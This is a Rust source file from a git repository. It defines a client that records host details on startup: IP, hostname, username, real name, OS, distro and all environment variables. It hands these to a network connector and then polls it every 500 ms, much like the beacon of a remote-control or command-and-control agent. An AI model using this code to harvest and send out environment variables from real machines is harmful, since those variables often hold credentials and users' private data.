summaryrefslogtreecommitdiff
path: root/src/client/client.rs
blob: c833550552d97fd59be403367ba4ce9ecb07524d (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
use gethostname::gethostname;
use std::{net::IpAddr, thread::sleep, time::Duration};
use whoami::{DesktopEnv, Language};

use crate::connector::Connection;

pub struct Client<C: Connection> {
    pub connector: C,

    ip: Option<IpAddr>,
    hostname: String,
    device_name: String,
    os: &'static str,
    cpu_arch: &'static str,
    distro: String,
    desktop_env: DesktopEnv,
    username: String,
    realname: String,
    langs: Option<Vec<Language>>,
    env: Vec<(String, String)>,
}

impl<C: Connection> std::fmt::Display for Client<C> {
    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
        write!(
            f,
            "IP: {:?}\n\
            Hostname: {}\n\
            Device Name: {}\n\
            OS: {}\n\
            CPU Architecture: {}\n\
            Distro: {}\n\
            Desktop Environment: {:?}\n\
            Username: {}\n\
            Real Name: {}\n\
            Languages: {:?}\n\
            Environment Variables: {:?}\n",
            self.ip,
            self.hostname,
            self.device_name,
            self.os,
            self.cpu_arch,
            self.distro,
            self.desktop_env,
            self.username,
            self.realname,
            self.langs,
            self.env
        )
    }
}

impl<C: Connection> Client<C> {
    pub fn new(connector: C) -> Result<Self, C::Err> {
        let c = Self {
            ip: connector.get_ip(),
            connector,
            hostname: gethostname().into_string().unwrap_or_default(),
            device_name: whoami::devicename(),
            os: std::env::consts::OS,
            cpu_arch: std::env::consts::ARCH,
            distro: whoami::distro(),
            desktop_env: whoami::desktop_env(),
            username: whoami::username(),
            realname: whoami::realname(),
            langs: match whoami::langs() {
                Ok(it) => Some(it.collect()),
                Err(_) => None,
            },
            env: std::env::vars().collect(),
        };
        c.connector.init(&c)?;
        Ok(c)
    }

    pub fn enter_loop(mut self) -> ! {
        loop {
            sleep(Duration::from_millis(500));
            self.connector.tick();
        }
    }
}